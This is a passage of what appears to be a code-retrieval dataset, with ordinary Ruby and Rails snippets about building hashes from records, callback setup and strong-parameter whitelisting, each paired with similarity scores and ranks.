confirmation_from_email, confirmation_email_subject, confirmation_email_body, _info].hash\n end", "def self_hash\n hash = {}\n hash[\"id\"] = self.send(\"id\")\n database_field_names.each do |var|\n if self.send(var).is_a? ForeignKey\n hash[var] = self.send(var).id\n else\n hash[var] = self.send(var)\n end\n end\n hash\n end", "def to_h\n {\n 'associates' => @associates.map(&:id).sort,\n 'location' => @location,\n 'members' => @members.map(&:id).sort,\n }\n end", "def build_activity_oid_map()\n activity_object_ids = {}\n activities = @primavera.get_activities(P6_PROJECT_ID)\n activities.each do |activity|\n activity_object_ids[activity[:id]] = activity[:object_id]\n end\n activity_object_ids\nend", "def read_records(table)\n hashes = []\n each(table) {|hash| hashes << hash}\n hashes\n end", "def resource_records(powerdns_sql: false)\n soa_origin = powerdns_sql ? expand_dot(soa[:origin]) : soa[:origin]\n rr_soa = RR.new(soa_origin, expand_ttl(soa[:ttl]), \"IN\", \"SOA\")\n rr_soa.data = {\n primary: (:dot if powerdns_sql),\n email: (:dot if powerdns_sql),\n serial: nil,\n refresh: :ttl,\n retry: :ttl,\n expire: :ttl,\n minimumTTL: :ttl,\n }.map {|f, expand|\n val = soa[f]\n val = expand_dot(val) if expand == :dot\n val = expand_ttl(val) if expand == :ttl\n val\n }.join(\"\\t\")\n\n RECORDS.each_with_object(soa: rr_soa) do |(name, (type, *fields)), rrs|\n @records[name].each do |item|\n item = expand_dot_content(type, item) if powerdns_sql\n\n rr = RR.new(item[:name], expand_ttl(item[:ttl]), (item[:class] || \"IN\").upcase, type)\n rr.data = fields.map {|f| item[f] }.join(\"\\t\")\n rrs[type] ||= []\n rrs[type] << rr\n end\n end\n end", "def serializable_attributes\n #attribute_names = @record.attributes.keys # This includes all attributes including associations\n attribute_names = @record.class.keys.keys # This includes just keys\n idex = attribute_names.index(\"_id\")\n attribute_names[idex] = \"id\" if idex\n\n if options[:only]\n options.delete(:except)\n attribute_names = attribute_names & Array(options[:only]).collect { |n| n.to_s }\n else\n options[:except] = Array(options[:except]) \n attribute_names = attribute_names - options[:except].collect { |n| n.to_s }\n end\n\n attribute_names.collect { |name| Attribute.new(name, @record) }\n end", "def scaf_assoc_hash\n Hash[*scaf_belongs_tos.collect {|a| [a.primary_key_name, a]}.flatten]\n end", "def record_to_hash(r, attrs)\n {}\n end", "def convert(data)\n\t\trecords = []\n\t\tif @data_source == \"uniteu\"\n\t\t\tbegin\n\t\t\t\tdata.each do |row|\n\t\t\t\t\trecord = {}\n\t\t\t\t\[email protected] do |i|\n\t\t\t\t\t\ti.each do |k,v|\n\t\t\t\t\t\t\tfield = k.to_s\n\t\t\t\t\t\t\tv = v.split(\":\")\n\t\t\t\t\t\t\ttype = v[0]\n\t\t\t\t\t\t\tcol = v[1]\n\t\t\t\t\t\t\tif !record.has_key?(type.to_sym)\n\t\t\t\t\t\t\t\trecord[type.to_sym] = {}\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\trecord[type.to_sym][col] = row[k]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t# Make Records\n\t\t\t\t\trecord.each do |k,v|\n\t\t\t\t\t\trecords << Record.new(k.to_s,v)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue Exception => e\n\t\t\t\t\tputs e\n\t\t\tend\n\t\telsif @data_source == \"rpro\"\n\t\t\tbegin\n\t\t\t\trecord = {}\n\t\t\t\tmappy(data).each do |type, fields|\n\t\t\t\t\tfields.each do |item|\n\t\t\t\t\t\tcol = item.keys[0][/[A-Za-z0-9_]+/].to_sym\n\t\t\t\t\t\tcolvalue = item.values[0]\n\t\t\t\t\t\tthisitem = []\n\t\t\t\t\t\tflags = item.keys[0][/[!+\\-#]/]\n\t\t\t\t\t\tif flags != nil\n\t\t\t\t\t\t\tflags = flags.split(//)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tflags = []\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t# Special Instructions\n\t\t\t\t\t\t# We need to process this stuff for the flags present\n\t\t\t\t\t\t# and then make it into records\n\t\t\t\t\t\tif !record.has_key?(type)\n\t\t\t\t\t\t\trecord[type] = {}\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif flags.empty?\n\t\t\t\t\t\t\trecord[type][col] = colvalue\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tif flags.include? \"!\"\n\t\t\t\t\t\t\t\traise \"write filter for !\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif flags.include? \"#\"\n\t\t\t\t\t\t\t\tif record[type].has_key?(col)\n\t\t\t\t\t\t\t\t\trecords << Record.new(type,record[type])\n\t\t\t\t\t\t\t\t\trecord[type] = {}\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\trecord[type][col] = colvalue\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif flags.include? \"+\"\n\t\t\t\t\t\t\t\tif record[type].has_key?(col)\n\t\t\t\t\t\t\t\t\tcolvalue = record[type][col]+colvalue\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\trecord[type][col] = colvalue\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tif flags.include? \"-\"\n\t\t\t\t\t\t\t\traise \"I didn't think we'd actually have one of these \\\"-\\\"\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue Exception => e\n\t\t\t\traise e\n\t\t\tend\n\t\tend\n\t\trecords\n\tend", "def to_hash\n @data.map do |row|\n hsh = {}\n @field_names.each_with_index.map{ |fld, i| hsh[fld] = row[i] }\n hsh\n end\n end", "def convenience_keys(dmi)\n dmi.each do |type, records|\n in_common = Mash.new\n next unless records.is_a?(Mash)\n next unless records.key?(\"all_records\")\n\n records[:all_records].each do |record|\n record.each do |field, value|\n next unless value.is_a?(String)\n\n translated = field.downcase.gsub(/[^a-z0-9]/, \"_\")\n next if SKIPPED_CONVENIENCE_KEYS.include?(translated.to_s)\n\n value = value.strip\n if in_common.key?(translated)\n in_common[translated] = nil unless in_common[translated] == value\n else\n in_common[translated] = value\n end\n end\n end\n in_common.each do |field, value|\n next if value.nil?\n\n dmi[type][field] = value.strip\n end\n end\n end", "def find_and_map\n return enum_for(__method__) if !block_given?\n\n address_to_record = Hash.new\n each_record do |r|\n if result = yield(r.dup)\n address_to_record[r['address']] = result.to_hash\n end\n end\n MemoryDump.new(address_to_record)\n end", "def build_columns_and_rows_hash(db_columns, client, table_names)\n db_columns_and_rows = {}\n\n table_names.each do |table|\n db_columns_and_rows[table] = {}\n\n puts \"table #{table}\"\n\n query = \"select * from #{table}\"\n results = client.query(query)\n\n rows = []\n\n results.each do |row|\n els = []\n row.each do |el|\n els.push(el[1].to_s)\n end\n rows.push(els)\n end\n\n db_columns_and_rows[table]['rows'] = rows\n db_columns_and_rows[table]['columns'] = db_columns[table]\n end\n\n db_columns_and_rows\nend", "def get_primary_key_value_map\n # {{{\n return @primary_key_value_map if (@primary_key_value_map && !@touched)\n \n accessor = self.class\n base_models = accessor.__associations__.base_klasses()\n table_name = accessor.table_name\n pkey_fields = accessor.get_primary_keys\n \n if !pkey_fields[table_name] then\n raise ::Exception.new(\"Unable to resolve pkey fields for #{self.class.to_s}. Known fields are: #{pkey_fields.inspect}\")\n end\n\n @primary_key_value_map = { table_name => {} }\n pkey_fields[table_name].each { |own_pkey|\n @primary_key_value_map[table_name][own_pkey] = @attribute_values_flat[own_pkey]\n }\n \n # Map own foreign key values back to foreign primary key \n # values. This is necessary as joined primary key field names are \n # shadowed. \n accessor.__associations__.pkey_value_lookup.each { |mapping|\n foreign_pkeys = {}\n mapping.at(1).each_with_index { |fkey,idx|\n value = @attribute_values_flat[fkey]\n foreign_pkeys[mapping.at(2).at(idx)] = value \n }\n @primary_key_value_map[mapping.at(0)] = foreign_pkeys\n }\n return @primary_key_value_map\n end", "def related_records_for(record, key = nil)\n key ||= record.class.to_s.underscore.to_sym\n related = [related_records[record.class] || []].flatten\n include_self = ((!record.is_a?(ActiveRecord::Base)) || (!related.delete(:self).nil?))\n recs = related.map do |r|\n related_records_for(record.send(r), r)\n end.reduce({}) do |acc, h|\n acc.merge h\n end\n if include_self\n recs = recs.merge(\n {\n key => record\n })\n end\n recs\n end", "def hash\n [id, type, state, country, street, postal_code, city, phone_country, phone_number, email, ip, address_description, identification_number, identification_type, lang, name, first_name, middle_name, last_name, birth_date, occupation, nationality, legal_entity_type, registration_date, registration_number, nature_of_business, source_of_funds, custom_source_of_funds, core_business_activity, purpose_of_opening_account, office_phone, vat_registration_number, financial_regulator, regulatory_licence_number, contact_person_email, trading_country, trading_address, trading_name, number_monthly_transactions, amount_monthly_transactions, documents, metadata, errors, onboarding_status, politically_exposed_people, external_id, city_of_birth, country_of_birth, gender, sales_lead_id, created_at, company_office_number, company_office_number_country, aml_officer_email, aml_officer_phone, aml_officer_phone_country, company_website_url, number_of_employees_in_company, list_of_countries_of_operation, estimated_annual_revenue_turnover, declaration].hash\n end", "def to_hash\n hash = {\n \"id\" => id,\n \"edition_id\" => edition_id,\n \"price\" => price,\n \"start_date\" => start_date,\n \"end_date\" => end_date }\n end", "def primary_records\n return following_relationships if is_following?\n\n follower_relationships\n end", "def to_hash\n result = { }\n\n # id\n result['_id'] = @_id if @_id\n\n # timestamp\n result['at'] = @at\n\n # kind\n result['kind'] = kind.to_s\n\n # entities\n @entities.each do |entity_name, entity|\n result[entity_name.to_s] = entity.model_id\n end\n\n # meta\n result['meta'] = @meta.stringify_keys unless @meta.blank?\n\n result\n end", "def to_hash\n record_hash = {\"leader\" => @leader, \"fields\" => []}\n @fields.each do |field|\n record_hash[\"fields\"] << field.to_hash\n end\n record_hash\n end", "def to_h\n resource_array.each_with_object({}) do |resource, accumulator|\n resource_id = resource&.resource&.id\n\n accumulator[resource_id] = resource\n end\n end", "def table_to_hash_lookup table, key_column, symbol_key = false, value_column=\"id\"\n key_column = key_column.to_s #allows for accepting symbols or strings\n value_column = value_column.to_s\n\n o=table.find_as_hashes(:all, :select => \"#{key_column}, #{value_column}\")\n #returns array of form\n # [{\"id\"=>\"1\", \"column\"=>\"value\"},{\"id\" => \"2\", \"column\" => \"value2\"}....]\n\n #convert to form\n #{'value' => 1, 'value2' => 2,...}\n\n dictionary=o.inject({}) {|result, element|\n #only get values that have a key column\n \n unless element[key_column].nil?\n entry = element[key_column].to_s#.force_encoding(\"utf-8\")\n entry = entry.to_sym if symbol_key\n #insert into the hash\n result[entry] = element[value_column].to_i \n end\n result\n }\n\n return dictionary\n end", "def collection_hash\n collection_field_pairs = collection_fields.map do |field|\n [ normalize_header(field.header), field.value ]\n end\n Hash[ collection_field_pairs ]\n end", "def record_ids\n @records.keys\n end", "def paginated_dump( &encode_block )\n records_count = 0\n table_dataset.order(*primary_keys).each_page(page_size) do |page|\n logger.info \"#{__method__} #{table_name} #{records_count}\"\n logger.debug page.sql\n page.each &encode_block\n records_count += page_size\n end\n end" ]
[ "0.6210552", "0.6148506", "0.601981", "0.59854835", "0.5954271", "0.5804866", "0.57598376", "0.5604132", "0.55972487", "0.55809176", "0.551764", "0.55114865", "0.54975814", "0.54942936", "0.54919124", "0.54716235", "0.54705215", "0.54705215", "0.5441023", "0.54372656", "0.54372656", "0.5431283", "0.5422044", "0.5421737", "0.5407608", "0.5407411", "0.5366556", "0.5364479", "0.53361326", "0.5332918", "0.5332918", "0.5332918", "0.53313774", "0.5326993", "0.53209585", "0.5301727", "0.5297158", "0.52853686", "0.5276687", "0.5270144", "0.526514", "0.52604824", "0.52587616", "0.52473855", "0.5243894", "0.52395195", "0.5238842", "0.5234924", "0.5228382", "0.5213142", "0.5193077", "0.51844966", "0.51748127", "0.51707846", "0.5165371", "0.51646733", "0.5163369", "0.51593715", "0.51584196", "0.5150515", "0.51328427", "0.5128779", "0.51240647", "0.5121549", "0.5107674", "0.5107103", "0.5102149", "0.5096606", "0.5089468", "0.5088093", "0.50844806", "0.5082608", "0.50804794", "0.50792", "0.5075065", "0.5073793", "0.50694215", "0.50633955", "0.50605243", "0.5055699", "0.5052225", "0.5042217", "0.5040664", "0.5039902", "0.5038633", "0.5037931", "0.50322706", "0.50255316", "0.502532", "0.5025041", "0.5020878", "0.5014273", "0.50135916", "0.5011082", "0.5010876", "0.50101525", "0.5010084", "0.50050783", "0.50028974", "0.500224" ]
0.57643807
6
Use callbacks to share common setup or constraints between actions.
def set_mascot @mascot = Mascot.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def mascot_params params.require(:mascot).permit(:name, :age, :location, :description, :gender, :friendly_with_kids, :friendly_with_other_dogs, :friendly_with_cats, :species, :race) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def 